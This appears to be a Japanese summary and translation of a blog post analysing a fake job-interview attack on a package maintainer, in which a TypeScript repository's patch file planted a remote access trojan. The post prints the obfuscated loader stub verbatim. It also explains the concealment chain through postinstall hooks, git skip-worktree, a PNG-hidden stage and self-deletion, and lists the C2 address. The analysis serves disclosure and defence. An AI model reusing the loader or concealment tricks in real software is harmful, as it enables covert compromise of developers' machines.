HN 日本語サマリー

← 一覧へ戻る
セキュリティ

失敗した(国家レベル?)攻撃の解剖

Anatomy of a Failed (Nation-State?) Attack (grack.com)

132 pointsby signa1124 コメント

要約

筆者は、自身のcrates.ioパッケージを狙ったと思われる国家レベルのサイバー攻撃に遭遇しました。この攻撃は、偽の採用面接を装い、最終的にリモートアクセス型トロイの木馬(RAT)である「PinpinRAT」をマシンに仕込むことを目的としていました。幸いにも、TypeScriptリポジトリに不審なパッチが発見され、Claudeの支援によりマルウェアが解析され、その詳細とIoC(侵害指標)が公開されました。

全文翻訳

開示 🧠 この投稿は完全に人間によって書かれています。IoC情報以外は全て散文です。時間的制約があったため、RATの解析を加速し、IoC検出スクリプトを作成するためにClaudeが使用されました。私はカナダに住んでいるため、この情報はカナダの適切な機関(CCCSなど)に報告されました。ペイロードを含む画像はVirusTotalのどのAVエンジンでも検知されません。攻撃者の身元は架空のものですが、同名の無関係な個人が誤解される可能性があるため、この文章からは省略されています。RedditのRustコミュニティでも、数名が同様の標的になったと述べています。 今週、私はマシンにバックドアを仕込むための偽の面接詐欺に非常に近いところで遭遇しました。メールの文脈から判断すると、crates.io上の私のパッケージが狙われたものと推測されます。注:内部文字列の一部から「PinpinRAT」と呼んでいますが、他に別の名前が存在する可能性もあります。オンラインで他にこのRATへの言及は見つけられませんでした。 1週間半前、「Lua Ventures」と名乗る「D█████ S████」という人物からメールを受け取りました。当時は知らなかったのですが、Lua VenturesはDeFi分野のシンガポールを拠点とする(当時)活動停止中のVCでした。はっきりさせておくと、これは偽のペルソナであり、この名前は同じ名前を持つ多くの実在の人物と間違われやすいように選ばれた可能性が高いです。それは本物のメールのように見え、やや退屈ですが合法的に見えるLinkedInプロファイルへのリンクも含まれていました。攻撃者はさらに、特にアドバイザリー業務を探しているとされる2つの投資先、LyrasingとRoadpayの名前を挙げました。どちらの会社も検索しても特に怪しい点はなく、ごく基本的なウェブプレゼンスはありましたが、初期段階の会社であるという以外に偽物を示すものは何もありませんでした。(roadpay.ccのarchive.orgスナップショット)。 私たちは会議の時間について何度かやり取りし、最終的にチャットする時間を決めました。通話自体にもおかしな点はありませんでした。ドイツ訛りのやや聞き取りにくい男性が相手でした。彼は旅行中に電話を受けていると言いましたが、少し奇妙ではあったものの、必ずしも怪しい点ではありませんでした。通話の後、餌が来ました。フォローアップメールで「テスト」が提案されました。この時点では少しうんざりしましたが、まだ疑ってはいませんでした。 私はリポジトリをクローンしましたが、最初の本当の危険信号が発せられたのはここでした。私が幸運だった点:彼らはTypeScriptリポジトリを送ってきました。私には意味が分かりませんでした。指示はアーキテクチャ分析というよりはTypeScriptの就職面接のように見えました。私はリポジトリを圧縮してClaudeに投げ込み、迅速なスキャンを依頼しました。これは注意深さと怠惰の組み合わせでした。数分後、Claudeはいくつかのおかしな点を特定しました。 特に、ルートのpackage.jsonにはpostinstall/preinstallフックがありません。これは興味深いことです。なぜなら、彼らはpatch-packageを使用していますが、これは通常postinstallに接続されているからです。すべてのpackage.jsonでライフサイクルスクリプトを確認し、次にパッチファイル(実際の危険な表面 — パッチはnode_modulesに任意のコードを注入できます)を監査してみましょう。 これが私の興味をそそりました。自分でディレクトリをスキャンすると、かなり不自然な数のpatches/ディレクトリに気づきました。最初にチェックしたいくつかは何の変哲もないように見えましたが、ご想像のとおり、彼らは本物のペイロードが検出されないようにノイズを追加しようとしていただけでした。 ``` packages/electron-benchmarks/patches/sumchecker+3.0.1.patch packages/electron-benchmarks/patches/@electron+get+2.0.3.patch packages/electron-benchmarks/patches/extract-zip+2.0.1.patch ``` 私が手作業でゆっくりとチェックしている間に、ClaudeはPinpinRATの最初の兆候を特定しました。 見つけました。これは悪意のあるペイロードです。typescript+5.9.2.patchファイルに埋め込まれています。これはTypeScriptへの通常の「モジュール指定子」パッチとして提示されていますが、_tsc.jsとtypescript.jsの両方の冒頭に、base64エンコードされた自己実行型の難読化スタブが注入されています。 ```javascript ;;(function(r,k){const d=Buffer.from(r,'base64');for(let i=0;i<d.length;i+=1)d[i]^=k;return new Function('require','Buffer','WebAssembly','process','__dirname',d.toString('utf8'))(require,Buffer,WebAssembly,process,__dirname)})("YWFg...",73)/*12ff4b51*/ void "ticket-harbor-tsc-shim-anchor"; ``` これはbase64文字列をデコードし、各バイトをキー73でXOR復号し、その結果をnew Function(…)で実行します。その際、require、process、Bufferなどが渡されます。これは隠されたコード実行ペイロードであり、tscまたはtypescript.jsをインポートするものが実行されるたびに — つまり、最初のnpm run typecheck / build / devで — 起動します。 …そして、これが私のマシンでこれ以上熊を刺激するのをやめることにした点です。私は誤って起動させないようにパスワード付きで圧縮し、サンドボックスで分析を続けました。 トラップ リポジトリは「Ticket Harbor」というフェリーチケットアプリをテーマにしていました。バンドルに含まれていたtask.txtは、もっともらしい退屈なタスクのセットでしたが、最後に次のように書かれていました。 ``` 提出する前に、リポジトリのタイプチェック、テストスイート、および関連するデスクトップ/サーバービルドコマンドを実行してください。 ``` この指示があなたを陥れる罠です。連鎖は次のとおりです。 4つの個別のpostinstallフックがpatch-packageを実行します。しかし、そのうちの1つはパッチファイルに対してgit update-index --skip-worktreeも実行し、それらをgit statusから隠します。 typescript+5.9.2.patchは、typescript.jsと_tsc.jsの冒頭に自己実行スタブを注入します。これは、new Function(...)に供給される軽く難読化されたブロブです(evalを避けることで、マルウェア検出を回避することを意図していると思われます)。 そのローダーは、operators/3.pngというファイルに追加された隠されたチャンクを読み取り、小さな埋め込みWASMスタブ(カスタムwAsmチャンク内)を実行し、その後、難読化された1.68 MBの第2段階ペイロードを搭載した、切り離されたサイレントNodeプロセスを生成します。 それは3つの層で自己クリーンアップを行います:git skip-worktreeトリック、ドロッパーは最初の実行後に自身の注入行を削除するためにパッチを書き換え、そしてステージ2のテンポラリディレクトリは実行時に自己削除されます。 実際のペイロードはRAT(リモートアクセス型トロイの木馬)です。当初は認証情報窃取型かと思っていましたが、これははるかに悪質です。PinpinRATは3つの難読化された層にネストされており、これらを解除するのは骨が折れました:obfuscator.io(LLM保護を謳っていますが、笑)、そしてさらに2つのbase64層です。 何がドロップされるのか 1) この情報を迅速に共有することと、2) 自分のマシンでマルウェアを誤って起動させないことの両方を考慮し、Claudeに実際のトロイの木馬をサンドボックスで解析させ、その説明を受けました。はっきりさせておくと、Claudeは5分程度の作業で複数のレベルの難読化をリバースエンジニアリングすることができ、これは私ができるよりもはるかに速かったです。 ドロップされたのは完全なリモートアクセス型トロイの木馬で、熟練した人物によって作成されたようです。ローカルにRSAキーを設定し、セッションキーとしてAES-256-CBCを使用します。起動時にチェックインルーチンを呼び出し、ホストのフィンガープリントを収集して外部に送信します。これには以下が含まれます。 プライマリIPアドレス(非内部インターフェースをすべて列挙)と、すべてのIPアドレス ユーザー名(os.userInfo().username) ホスト名 OSタイプ + リリース + プラットフォーム + アーキテクチャ プロセスPIDと完全なprocess.argv Nodeバージョン RSA-2048キーペアとランダムなAES-256セッションキー(aes_psk)を生成し、その後のすべてのトラフィックはHMAC-SHA256完全性タグ付きのAES-256-CBCで暗号化されます。以下のコマンドをサポートしています。 env — JSON.stringify(process.env)をダンプして返します。 upload — 任意のファイルパスを読み取り、外部に送信します。 download — 攻撃者から提供されたバイトを任意の書き込み可能なパスに書き込みます。 spawn — オプションのシェル展開を伴う任意のプロセスを実行します。 ls / cd / pwd / cp / mv — 一般的なファイルシステムプリミティブ。 dns — 指定されたリゾルバーを介してホストが任意の名前を解決するようにします(DNSトンネリング用?)。 dismantle — 自己削除。 侵害の指標 もしこれらのいずれかを実行してしまった場合、直ちにシステムをネットワークから切断し、別のマシンから認証情報をローテーションする必要があります。修復は簡単ですが、認証情報(Cookieやパスワード保護されたシークレットを含む)は侵害されたものと考えてください。以下はPinpinRATマルウェアで発見された侵害の指標です。 C2: 89.124.107.161:80 スケジュールされたタスク (Windows): PinpinWrappedJs Process